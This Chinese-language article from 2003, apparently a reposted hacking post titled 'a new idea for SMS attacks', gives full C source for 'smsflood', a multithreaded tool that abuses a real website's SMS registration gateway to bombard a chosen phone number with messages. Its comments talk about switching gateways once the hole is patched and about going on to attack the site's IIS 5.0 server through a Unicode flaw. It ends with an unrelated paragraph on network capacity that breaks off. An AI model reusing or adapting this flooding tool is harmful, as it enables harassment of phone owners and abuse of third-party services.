[摘要]短信攻击新思路短信攻击新思路 /*说明: 作者:Yellow Email:wjj2748_cn@sina.com 日期:2003年9月2日晚 *********************...
短信攻击新思路短信攻击新思路
/*说明:
作者:Yellow
Email:wjj2748_cn@sina.com
日期:2003年9月2日晚
*********************************************************************
命令行:
smsflood <手机号> <发送次数><回车>
程序运行时会查询服务器状态,当服务器状态为40x时可能程序里使用
的短信网关已将洞洞给补上了,因为服务器那里会有发送记录,可能管
理员会发现我们所做的,那时就要再找一个有洞洞网关,然后修改源程
序,再重新编译了.程序虽小,但使用了多线程、临界区、Winsock、
TCP/IP、HTTP协议等技术!是一个不错的网络编程例子程序哦!
这里只是提供一个思路,使用Windows Sockets编程可以让我们获得更多
的底层信息,比如在这个程序里,我们就会发现在服务器使用的是IIS 5.0
如果想进一步攻击,我们可以再编写一个UniCode漏洞扫描程序(该漏洞是
IIS所特有的).
**********************************************************************
*/
#define _MT//多线程支持
#include <stdio.h>
#include <stdlib.h>//memset()
#include <string.h>
#include <conio.h>//getch()
#include <process.h>//_beginthread,使用多线程函数
#include <winsock.h>//socket(),bind(),connect,send(),recv().....,使用套接字函数
#pragma comment(lib,"ws2_32.lib")//连接套接字函数
#pragma comment(lib,"Libcmt.LIB")//连接多线程函数
//inifmt和sendfmt是程序使用的HTTPPOST方法数据包,用我写的listen80程序获得的
char inifmt[]="GET /asp/sms/reguse.asp?strMobilecode=%s HTTP/1.1\n"
"Accept: */*\n"
"Accept-Language: zh-cn\n"
"Accept-Encoding: gzip, deflate\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: sms.soufun.com\n"
"Connection: Keep-Alive\n\n";
char sendfmt[]="GET /asp/sms/pushpass.asp?strMobilecode=%s HTTP/1.1\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n"
"Accept-Language: zh-cn\n"
"Accept-Encoding: gzip, deflate\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: sms.soufun.com\n"
"Connection: Keep-Alive\n\n";
char buffer[400]={0},buffer2[300]={0};
struct sockaddr_in server,client;
char mobile[11]={0};
int scount=0;
CRITICAL_SECTION beswap;
/***********************************************************************************************/
void do****amcc(void* parm)
{
EnterCriticalSection(&beswap);
SOCKET sfd;
scount++;
if((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("为%d攻击线程分配套按字失败....\n",scount--);
LeaveCriticalSection(&beswap);
return ;
}
if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==SOCKET_ERROR)
{
printf("攻击线程%d地址绑定失败....\n",scount--);
LeaveCriticalSection(&beswap);
closesocket(sfd);
return ;
}
if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr)))
{
printf("攻击线程%d在连接到服务器时失败....\n",scount--);
closesocket(sfd);
LeaveCriticalSection(&beswap);
return ;
}
printf("线程%d正在发送数据包到%s\n",scount,mobile);
memset(buffer,0,380);
printf("攻击线程 %d 正在初使化短信攻击数据......\n",scount);
wsprintf(buffer,inifmt,mobile);
send(sfd,buffer,sizeof(buffer),0);
printf("攻击线程 %d 正在发送攻击数据包......\n",scount);
wsprintf(buffer,sendfmt,mobile);
send(sfd,buffer,sizeof(buffer),0);
printf("攻击线程 %d 完成数据包发送,正在查询服务器状态......\a\n",scount);
recv(sfd,buffer2,240,0);
printf("服务器状态如下:\n%s\n",buffer2);
LeaveCriticalSection(&beswap);
Sleep(200);
}
/***********************************************************************************************/
void main(int argc,char **argv)
{
//1,初使化套接字以及地址和临界区变量
WSADATA data;
struct hostent *host=NULL;
int begin=0,thread=0;
if(argc!=3)
{
printf("smsflood <mobile> <times>\a\n");
exit(-1);
}
if(WSAStartup(0x0202,&data)!=0)
{
printf("WSAStartup error:%d\n",WSAGetLastError());
exit(0);
}
memset((void*)&server,0,sizeof(struct sockaddr_in));
memset((void*)&client,0,sizeof(struct sockaddr_in));
server.sin_family=AF_INET;
server.sin_port=htons(80);
server.sin_addr.S_un.S_addr=inet_addr("202.108.253.37");
client.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
client.sin_port=htons(0);
client.sin_family=AF_INET;
thread=atoi(argv[2]);
strcpy(mobile,argv[1]);
InitializeCriticalSection(&beswap);
//2,跟据用户输入启动发送线程
printf("\n短信洪水攻击程序 Ver 1.0.1.11\n\n作者:yellow\n\nEmail:wjj2748_cn@sina.com\n\n");
printf("初使化完成,是否开始攻击?(y/n)\a\n");
if(getch()=='y')
{
while(begin<thread)
{
if(_beginthread(do****amcc, 0, NULL )==(long)-1)
continue;
else
begin++;
}
printf("攻击线程已经,请等待线程退出......\a\n");
}
//3,完成发送后,进行必要清理
getch();
printf("按任意键退出......\n");
getch();
WSACleanup();
DeleteCriticalSection(&beswap);
//4,退出应用程序
}
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……